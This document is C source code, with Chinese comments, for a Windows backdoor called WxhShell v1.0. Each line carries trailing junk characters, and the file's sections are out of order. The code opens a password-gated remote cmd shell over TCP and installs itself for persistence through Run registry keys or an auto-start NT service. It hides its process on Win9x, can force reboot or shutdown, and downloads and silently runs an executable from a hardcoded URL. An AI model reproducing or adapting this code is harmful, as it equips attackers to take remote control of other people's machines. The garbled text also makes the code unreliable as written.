    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  $^&SEz  
    if(Boot(SHUTDOWN)) q\ihye  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !sF! (u7  
    else { <9za!.(zu  
    closesocket(wsh); OBF3)L]  
    ExitThread(0); XBJ9"G5  
    } R<r"jOd]  
    break; L,@O OBD  
    } c k~gB  
  // 获取shell >)Ih[0~M  
  case 's': { _ F0qq j  
    CmdShell(wsh); Dq T)%a  
    closesocket(wsh); R'E8>ee; ^  
    ExitThread(0); qF9rY)ifm  
    break; 7Pt*V@DHS  
  } $D,m o2I  
  // 退出 doR'E=Z4h  
  case 'x': { tykA69X\W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pB @l+ n^  
    CloseIt(wsh); 6{O#!o*g  
    break; C=LXL1x2e  
    } tE)%*z@<Lt  
  // 离开 xx}R6VKU.  
  case 'q': { " mKMym2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P\ yt!S2  
    closesocket(wsh); E)(`Z0  
    WSACleanup(); ] o!#]]   
    exit(1); j/zD`yd j  
    break; vS~y~uU%6  
        } TO\%F}m(  
  } 5io7!%  
  } q.(p.uD  
NJYx.TL  
  // 提示信息 uO$ujbWZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \!UNa le  
} S"|sD|xOb  
  } (xU+Y1*g"%  
{Y5h*BD>  
  return; _ Ko0  
}  FNZB M  
_/[n/"gn  
// shell模块句柄 l<<G". ?  
int CmdShell(SOCKET sock) 1B3,lYBM  
{ UI~ENG  
STARTUPINFO si; 0XlX7Sk+  
ZeroMemory(&si,sizeof(si)); i '!M<>7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ow\9vf6H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >l$vu-k)~4  
PROCESS_INFORMATION ProcessInfo; ~L(_q]  
char cmdline[]="cmd"; c ;3bX6RD*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PN:8H>  
  return 0; /p,D01Ws}(  
} [5%/{W,~m  
hp(n;(OR  
// 自身启动模式 m[^;HwJ  
int StartFromService(void) X.0/F6U  
{ dE5DH~ldV  
typedef struct ;{|a~e?Y  
{ @C=, >+D  
  DWORD ExitStatus; h3;Ij'  
  DWORD PebBaseAddress; M3Kpp _d_!  
  DWORD AffinityMask; ErC~,5dj;n  
  DWORD BasePriority; Q}jbk9gM5  
  ULONG UniqueProcessId; f}4c#x  
  ULONG InheritedFromUniqueProcessId; ,8uu,,c  
}   PROCESS_BASIC_INFORMATION; ;U<) $5  
f5a%/1?  
PROCNTQSIP NtQueryInformationProcess; /x_C  
@];#4O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fm}O,=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4~a0   
Pyi PhOJe  
  HANDLE             hProcess; BO\l>\)Ir  
  PROCESS_BASIC_INFORMATION pbi; 6\86E$f=h  
'OGOT0(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;J\{r$q  
  if(NULL == hInst ) return 0; BN4dr9T  
kyJv,!};  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wrG*1+r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7kn=j6I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {CH\TmSz  
F dv&kK!  
  if (!NtQueryInformationProcess) return 0; whKr3)  
SU# S'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); if5Y!Tx?G  
  if(!hProcess) return 0; 5*buRYck0  
$#4z>~0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [v-?MS  
17D167\X  
  CloseHandle(hProcess); }sy3M rb  
sSG]I%oB3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :yT~.AK}>1  
if(hProcess==NULL) return 0; ;$i9gP[|m  
@ x*#7Y  
HMODULE hMod; S=aXmz<  
char procName[255]; +:&(Ag  
unsigned long cbNeeded; 3:Co K#  
=mqV&FgRo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l O, 2  
z,rWj][P  
  CloseHandle(hProcess); Cw{#(xX  
#`"'  
if(strstr(procName,"services")) return 1; // 以服务启动 81W})q8  
4BEVG&Ks  
  return 0; // 注册表启动 _;01/V"q6  
} Q,\lS  
lRt8{GFy  
// 主模块 4)j<(5  
int StartWxhshell(LPSTR lpCmdLine) ]^ O<WD  
{ 6}NvVolr  
  SOCKET wsl; GWE`'V  
BOOL val=TRUE; uy\YJ.WMQ  
  int port=0; [9?= &O#*  
  struct sockaddr_in door; =hl-c  
(f#W:]o/  
  if(wscfg.ws_autoins) Install(); LO"HwN43h  
c<&+[{|  
port=atoi(lpCmdLine); !.t'3~dUf$  
/HzhgMV3  
if(port<=0) port=wscfg.ws_port; nBiSc*  
kj0A%q#'}  
  WSADATA data; 3SIB #"9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `MTOe 1  
9:~,TH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $E7yJ|p{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F$ h/k^  
  door.sin_family = AF_INET; McsqMI6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 95 ]%j\  
  door.sin_port = htons(port); X<9DE!/)  
Jy|Mfl%d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .j&jf^a5  
closesocket(wsl); %oor7 -l  
return 1; zx'`'t4~  
} !;\-V}V  
T[Gz  
  if(listen(wsl,2) == INVALID_SOCKET) { 3b&W=1J  
closesocket(wsl); }= <!j5:  
return 1; {iQ<`,)Y  
} /asyj="N7  
  Wxhshell(wsl); coLn};W2  
  WSACleanup(); 0>e>G(4(8  
8=nm`7(]  
return 0; +^69>L2V  
JAiV7v4&R  
} G,"$Erx  
4|+ |L_  
// 以NT服务方式启动 w@:o:yLS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [\.>BK  
{ gdG: &{|x  
DWORD   status = 0; ONfJ"Rp3  
  DWORD   specificError = 0xfffffff; t3s}U@(C  
JnsXEkM)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Og*1pvN<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #&8 Opo(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ SFD}w3b$  
  serviceStatus.dwWin32ExitCode     = 0; g<lX Xj2  
  serviceStatus.dwServiceSpecificExitCode = 0; v<c Hx/  
  serviceStatus.dwCheckPoint       = 0; 0~S<}N  
  serviceStatus.dwWaitHint       = 0; i{e<kKh  
PRah?|*0s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 33;|52$  
  if (hServiceStatusHandle==0) return; ;q^YDZ'  
cEQa 6  
status = GetLastError(); x4( fW\  
  if (status!=NO_ERROR) h">X!I  
{ Fh/C{cX9g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =H?Nb:s  
    serviceStatus.dwCheckPoint       = 0; 9E#(iP  
    serviceStatus.dwWaitHint       = 0; oaXD^ H\  
    serviceStatus.dwWin32ExitCode     = status; sO6t8)$b  
    serviceStatus.dwServiceSpecificExitCode = specificError; C9iG`?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hBqu,A  
    return; U&/S  
  } >S3 >b  
p-6.:y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iLI]aZ   
  serviceStatus.dwCheckPoint       = 0;  nm~  
  serviceStatus.dwWaitHint       = 0; J~Ph)|AiS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H5%I?ZXw4  
} Qv=Z  
_k@l-Bj  
// 处理NT服务事件,比如:启动、停止 :OZhEBL&b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U{}7:&As  
{ Z"^@B2v  
switch(fdwControl) !'MD8  
{ zF$wz1 %  
case SERVICE_CONTROL_STOP: Cwh;+3?C|  
  serviceStatus.dwWin32ExitCode = 0; [*<&]^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VA%i_P,  
  serviceStatus.dwCheckPoint   = 0; a[!d)Y:zx  
  serviceStatus.dwWaitHint     = 0; 24Tw1'mW  
  { 18HHEW{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _t[%@G>P  
  } !Yf0y;e|:  
  return; W!^=)Qs  
case SERVICE_CONTROL_PAUSE: w#$k$T)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J|q_&MX/  
  break; ~S6N'$^  
case SERVICE_CONTROL_CONTINUE: CYu8J@(\~g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %G SSy_c  
  break; wz#n$W3mGf  
case SERVICE_CONTROL_INTERROGATE: R{B~Now3  
  break; U,S286  
}; |Wgab5D>V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?C{N0?[P-  
} ZM.g +-9  
# 0 (\s@r.  
// 标准应用程序主函数 }>:X|4]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TK>}$.c%+  
{ 2fk   
T{M:)}V  
// 获取操作系统版本 F&~vD  
OsIsNt=GetOsVer(); Ye6O!,R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *~L]n4-  
t*#&y:RG  
  // 从命令行安装 I$LO0avvH2  
  if(strpbrk(lpCmdLine,"iI")) Install(); =R"tnjR  
N-|Jj?c  
  // 下载执行文件 bW|y -GM  
if(wscfg.ws_downexe) { O5?Eb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QMY4%uyY!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1hWz%c|  
} u\wd<<I']  
iE`aGoA  
if(!OsIsNt) { l:"*]m7o_  
// 如果时win9x,隐藏进程并且设置为注册表启动 7KIQ)E'kG|  
HideProc(); &O,$l3 P  
StartWxhshell(lpCmdLine); ZB%~>  
} T1&H!  
else 2cl~Va=  
  if(StartFromService()) t} M3F-NZ  
  // 以服务方式启动 J|IDnCK  
  StartServiceCtrlDispatcher(DispatchTable); 6hq)yUvo4  
else ;p ('cwU%  
  // 普通方式启动 S@)bl  
  StartWxhshell(lpCmdLine); AlxS?f2w  
OEW,[d  
return 0; NZ5~\k  
} nE;gM1I  
?OyW|jL  
IycxRig  
,gc#N  
=========================================== cg%CYV)  
+GS=zNw#  
;gnr\C*G  
5aNDW'z`f  
lg+g:o  
S/;Y4o  
" 4vS!99v)  
>6 #\1/RP  
#include <stdio.h> =;=V4nKN  
#include <string.h> E}=NZqOB!  
#include <windows.h> O;BPd:<  
#include <winsock2.h> a)Ek~{9  
#include <winsvc.h> y9hZ2iT  
#include <urlmon.h> dDbC0} x/  
eb\`)MI/  
#pragma comment (lib, "Ws2_32.lib") uek3Y[n  
#pragma comment (lib, "urlmon.lib") 9A(K_d-!H  
+GU16+w~E  
#define MAX_USER   100 // 最大客户端连接数 \k_3IP?o=  
#define BUF_SOCK   200 // sock buffer !ei20@  
#define KEY_BUFF   255 // 输入 buffer 4?& a?*M  
M3 u8NRd5|  
#define REBOOT     0   // 重启 %U7f9  
#define SHUTDOWN   1   // 关机 4/WCs$  
x?'%  
#define DEF_PORT   5000 // 监听端口 ;hJ*u  
8-ssiiJ}gh  
#define REG_LEN     16   // 注册表键长度 Uc0'XPo3I  
#define SVC_LEN     80   // NT服务名长度 ="R6YL  
ie5ijkxZ(  
// 从dll定义API EIQy?ig86  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?/MXcI(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~[q:y|3b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `&zobbwq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |l(lrJ{  
B31-<w  
// wxhshell配置信息 q"<-  
struct WSCFG { y(h(mr  
  int ws_port;         // 监听端口 (Nb1R"J `  
  char ws_passstr[REG_LEN]; // 口令 >L`mF_WG  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;_5 =g  
  char ws_regname[REG_LEN]; // 注册表键名 |7x^@i9w  
  char ws_svcname[REG_LEN]; // 服务名 [frD L)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R}9jgB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KB*=a   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EsB'nf r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2(/ /slP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $yFuaqG`Wo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [#'_@zZz  
Qmx~_  
}; ^3o8F  
i bs "Iv34  
// default Wxhshell configuration no6]{qn=6  
struct WSCFG wscfg={DEF_PORT, jdf)bO(9#  
    "xuhuanlingzhe", "mDrJTWa  
    1, t~K!["g  
    "Wxhshell", 4(GgaQFO?  
    "Wxhshell", f+Li'?  
            "WxhShell Service", C*e[CP@u  
    "Wrsky Windows CmdShell Service", g 'a?  
    "Please Input Your Password: ", 72vGfT2HtZ  
  1, =e-aZ0P  
  "http://www.wrsky.com/wxhshell.exe", x>" JWD  
  "Wxhshell.exe" TbAdTmW  
    }; 8z8SwWS?  
A;a(n\Sy  
// 消息定义模块 bvS\P!m\c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C,vc aC?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,<r3Z$G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "sX?wTag  
char *msg_ws_ext="\n\rExit."; 6x,=SW@4  
char *msg_ws_end="\n\rQuit."; >1pH 91c'  
char *msg_ws_boot="\n\rReboot..."; ={@ @`yP^$  
char *msg_ws_poff="\n\rShutdown..."; @<yc .>  
char *msg_ws_down="\n\rSave to "; :wmf{c  
DLVs>?Y  
char *msg_ws_err="\n\rErr!"; [HiTR!o*  
char *msg_ws_ok="\n\rOK!"; <?7,`P:h[  
||ZufFO  
char ExeFile[MAX_PATH]; XfK.Fj~-  
int nUser = 0; *Q120R  
HANDLE handles[MAX_USER]; -U;LiO;N  
int OsIsNt; FK >8kC  
'!h0![OH  
SERVICE_STATUS       serviceStatus; h]DE Cd{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xYVjUb(,X  
D4]B>  
// 函数声明 ::R00gd  
int Install(void); [pFu ] ^X  
int Uninstall(void); xp8f  
int DownloadFile(char *sURL, SOCKET wsh); }\L !;6oy  
int Boot(int flag); yxWMatZ2  
void HideProc(void); $SGA60q  
int GetOsVer(void); o/9LK  
int Wxhshell(SOCKET wsl);  53*, f  
void TalkWithClient(void *cs); 7RC096 ?}  
int CmdShell(SOCKET sock); !Fg4Au  
int StartFromService(void); EQOP?>mWx!  
int StartWxhshell(LPSTR lpCmdLine); p't:bR  
N?{1'=Om  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (s@tU>4U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~TFYlV  
?&<o_/`-H5  
// 数据结构和表定义 c[RL Yu  
SERVICE_TABLE_ENTRY DispatchTable[] = I&fh  
{ po2[uJ  
{wscfg.ws_svcname, NTServiceMain}, S{(p<%)[  
{NULL, NULL} 4zfRD`;  
}; aGk%I  
fQy C6C  
// 自我安装 J1Ki2I=  
int Install(void) z>p`!-'ID  
{ VMye5  P  
  char svExeFile[MAX_PATH]; ._MAHBx+G  
  HKEY key; ]v\egfW,W  
  strcpy(svExeFile,ExeFile); j5h 6u,^:  
d J%Rk#?;A  
// 如果是win9x系统,修改注册表设为自启动 M$4=q((0  
if(!OsIsNt) { b'oGt,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /`O]etr`d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m":SE?{{&  
  RegCloseKey(key); TFYTvUn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G!VF*yW8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u !3]RGJ  
  RegCloseKey(key); K7xWE,y  
  return 0; 6^IqSNn-  
    } 'Ywpdzz[  
  } {29S`-|P  
} "(\) &G  
else { jy(+ 0F  
mh#FY Sp  
// 如果是NT以上系统,安装为系统服务 KA-/k@1&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9kX=99kf[  
if (schSCManager!=0) =e!l=d|/  
{ )dIfr  
  SC_HANDLE schService = CreateService g?[& 0r1  
  ( 71.\`'  
  schSCManager, oAZF3h]po  
  wscfg.ws_svcname, lHKf#|  
  wscfg.ws_svcdisp, sL AuR  
  SERVICE_ALL_ACCESS, :EmQ_?(^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KW|\)83$  
  SERVICE_AUTO_START, 4]aiT8))  
  SERVICE_ERROR_NORMAL, 0 oj{e9h  
  svExeFile, :9F''f$AP  
  NULL, :IVk_[s  
  NULL, 8hKP  
  NULL, w*u{;v#  
  NULL, 8 ih;#I=q  
  NULL ]C ~1]7vb  
  ); bH\C5zt6(  
  if (schService!=0) mYh5#E41J  
  { :`Uyn!w  
  CloseServiceHandle(schService); oO#xx)b  
  CloseServiceHandle(schSCManager); mo;)0Vq2l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G=Hf&l  
  strcat(svExeFile,wscfg.ws_svcname); t `Y!"l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8@ %mnyQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z<ajET`)  
  RegCloseKey(key); <wt$Gglk  
  return 0; 'cAc{\)  
    } *j /S4qG  
  } Cl6m$YUt  
  CloseServiceHandle(schSCManager); B+Y5b5+wOQ  
} sp=OT-Pfp  
} !0ce kSesr  
Y8%0;!T  
return 1; HUJ|-)"dw  
} UK6xkra?#  
{eEC:[  
// 自我卸载 gE@$~Q>M  
int Uninstall(void) \+iu@C  
{ _^ q\XPS  
  HKEY key; eB= v~I3  
}U%^3r-  
if(!OsIsNt) { .~q)eV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;NH~9# t:  
  RegDeleteValue(key,wscfg.ws_regname); !6zyJc @01  
  RegCloseKey(key); 3a#PA4Ql  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nw0L1TP/J  
  RegDeleteValue(key,wscfg.ws_regname); MCk^Tp!  
  RegCloseKey(key); n1*&%d'7  
  return 0; -!J2x 8Ri  
  } W}XYmF*_?  
} n$XdSh/   
} y !<'rg  
else { .!(,$'(@=  
aXdf>2c{JD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #e.jY_  
if (schSCManager!=0) X*sr  
{ P3iA(3I24<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X"[dQ_o  
  if (schService!=0) k7^R,.c@  
  { !TP6=ks  
  if(DeleteService(schService)!=0) { ~n[b^b  
  CloseServiceHandle(schService); =s'XR@  
  CloseServiceHandle(schSCManager); &:V@2_6"  
  return 0; ,AH0*L  
  } 4K9Rpm  
  CloseServiceHandle(schService); 'aD6>8/Hj  
  } &P 8!]:  
  CloseServiceHandle(schSCManager); `,wc Q  
} u12zRdn  
} 8RdP:*HY  
E@w[&#  
return 1; 'h-3V8m^e  
} O)`fvpVU  
Bx(yu'g|a  
// 从指定url下载文件 ! FNf>z+  
int DownloadFile(char *sURL, SOCKET wsh) oi2J :Y4  
{  YywEZ?X  
  HRESULT hr; ],8;eq%W)  
char seps[]= "/"; E: 9o;JU  
char *token; % f2<U;ff  
char *file; iQt!PMF.  
char myURL[MAX_PATH]; cYGRy,'gH  
char myFILE[MAX_PATH]; 2B7h9P.NB  
&*B>P>x  
strcpy(myURL,sURL); u8Y~_)\MA  
  token=strtok(myURL,seps); '#v71,  
  while(token!=NULL) m CM|&u  
  { #gh p/YoTq  
    file=token; l8z%\p5cR  
  token=strtok(NULL,seps); 6W5d7`A  
  } JE0?@PI$  
x6LjcRS|  
GetCurrentDirectory(MAX_PATH,myFILE); KNy`Lj)VPY  
strcat(myFILE, "\\"); Hu[]h]  
strcat(myFILE, file); 3bWum  
  send(wsh,myFILE,strlen(myFILE),0); RfKc{V  
send(wsh,"...",3,0); `f@{Vcr% i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %drJ p6n%  
  if(hr==S_OK) 3&es]1b  
return 0; {G]?{c)"  
else Qi_&aU$>lM  
return 1; {  |s/]W  
tNU-2r   
} y-'" >  
QwBXlO?  
// 系统电源模块 Dy su{rL  
int Boot(int flag) p ZtgIS(3  
{ lLH$`Wnv  
  HANDLE hToken; 1e/L\Y=m  
  TOKEN_PRIVILEGES tkp; l '/N3&5  
3[VWTq)D=  
  if(OsIsNt) { b\?3--q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qgtn5] A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A8J8u,u9  
    tkp.PrivilegeCount = 1; o,CBA;{P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L?!$EPr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *ksb?|<Ot  
if(flag==REBOOT) { &.zj5*J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yv^p =-E  
  return 0; Gz ?2b#7v  
} L[rpb.'FG  
else { MSl&?}Bj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `\!X}xiWd  
  return 0; [OzzL\)3l  
} G*B$%?n  
  } GR<c=   
  else { c<?[d!vI  
if(flag==REBOOT) { 6 *Zj]is  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I~)cYl:|G  
  return 0; &&WDo(r3  
} 5:UyUB  
else { Km,*)X.-5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W<v_2iVu  
  return 0; 7F9;Su3.  
} `)$`-Pw*  
} B| tzF0;c  
i2*d+?Er  
return 1; V$(/0mQV(  
} ,;%yf?  
i X%[YQ |  
// win9x进程隐藏模块 lV\lj@  
void HideProc(void) 6UlF5pom  
{ UFe(4]^  
{b1UX9y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c` , 2h#  
  if ( hKernel != NULL ) FI8k;4|V  
  { }p=g*Zo*C;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MAnp{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %(`#A.yaE  
    FreeLibrary(hKernel); bg}+\/78#  
  } cx{T '1  
D{cZxI  
return; # ORO&78  
} OEnDsIhq  
W5.Va.  
// 获取操作系统版本 dAL3.%  
int GetOsVer(void) cD2+hp|9  
{ &Yf",KcL*I  
  OSVERSIONINFO winfo; n_P3\Y|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qaG#;  
  GetVersionEx(&winfo); f"Vgefk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A "S/^<  
  return 1; %&+TbDE+T  
  else P]Xbjs<p  
  return 0; 1CkdpYjsj  
} mibpG9+d  
VYaSB?`/  
// 客户端句柄模块 ^ S  
int Wxhshell(SOCKET wsl) X\\7$  
{ b:kXNDc  
  SOCKET wsh; @*(4dt:V  
  struct sockaddr_in client; OP%?dh]  
  DWORD myID; T6Ctf#  
OR4!YVVQ  
  while(nUser<MAX_USER) j)by}}  
{ J R$r!hX  
  int nSize=sizeof(client); \~#WY5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EB!daZH,  
  if(wsh==INVALID_SOCKET) return 1; (?3[3 w~  
SdJ/ 4&{ !  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X3wX`V}  
if(handles[nUser]==0) 'e@=^FC  
  closesocket(wsh); _dU8'H  
else x6;j<m5Mjx  
  nUser++; g?G+dnl/8  
  } J#Z5^)$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zE|Wn3_sd  
.<#ATFmY  
  return 0; 7LCp7$Cp  
} ]6&$|2H?Ni  
;:mu}  
// 关闭 socket DG[%Nhle  
void CloseIt(SOCKET wsh) # ??%B  
{ PB9/m-\H  
closesocket(wsh); oY=1C}  
nUser--; 3A,rHYS  
ExitThread(0); "NzD1k6.L  
} X}cZxlqc  
uLk]LT  
// 客户端请求句柄 Qx)Jtb0`V  
void TalkWithClient(void *cs) aY)2eY  
{ _M t Qi  
g5S?nHS}  
  SOCKET wsh=(SOCKET)cs; sbo^"&%w  
  char pwd[SVC_LEN]; WR#0<cz(  
  char cmd[KEY_BUFF]; PB53myDQ  
char chr[1]; TWd;EnNM  
int i,j; g=l:cVr8y  
XiQkrZ  
  while (nUser < MAX_USER) { 6X)@ajGWg~  
yz\c5  
if(wscfg.ws_passstr) { !kL> ,O>/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yGj.)$1},@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;o-yQmdh  
  //ZeroMemory(pwd,KEY_BUFF); xHo&[{  
      i=0; Pc_VY>Ty  
  while(i<SVC_LEN) { SDYv(^ f ,  
2c(aO[%h9  
  // 设置超时 Jblj^n?Bm  
  fd_set FdRead; 7dOyxr"H-  
  struct timeval TimeOut; zt=0o| k  
  FD_ZERO(&FdRead); z42F,4Gk  
  FD_SET(wsh,&FdRead); 7&B$HZ  
  TimeOut.tv_sec=8; LL*mgTQ  
  TimeOut.tv_usec=0; @|\R}k%(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @=Fi7M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %o w^dzW  
p fT60W[m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x\\~SGd  
  pwd=chr[0]; $uj(G7_  
  if(chr[0]==0xd || chr[0]==0xa) { 4 !#a3=_  
  pwd=0; p$E8Bn%[  
  break; o[1ylzk}+  
  } 8K"+,s(%R  
  i++; +&|S'7&{  
    } RA O`i>@  
&miexSNeF  
  // 如果是非法用户,关闭 socket +iO/m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !>z:m!MlQ  
} %rkk>m  
`ln1$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D y-S98Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]J7Qgp)i  
9`Q<Yy"du  
while(1) { $s5a G)?7  
^U[D4UM  
  ZeroMemory(cmd,KEY_BUFF); ^aZAw%K  
"xJ0 vlw  
      // 自动支持客户端 telnet标准   H%F>@(U  
  j=0; ciQZHH2  
  while(j<KEY_BUFF) { ^|MjJsn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^:=f^N=^  
  cmd[j]=chr[0]; @>Mxwpl?  
  if(chr[0]==0xa || chr[0]==0xd) { 2aN<w'pA  
  cmd[j]=0; U/l?>lOD\  
  break; BX+.0M  
  } 7q =G&e7  
  j++; @A<PkpNL  
    } tw=oH9c80  
g\SrO {*  
  // 下载文件 ,XkGe   
  if(strstr(cmd,"http://")) { 5ETip'<KT6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @`36ku  
  if(DownloadFile(cmd,wsh)) 4qi[r)G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _aWl]I){5  
  else ;)AfB#:d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0\9K3  
  } ufV!+$C)is  
  else { 4LH[4Yj?`  
e4>"92hX  
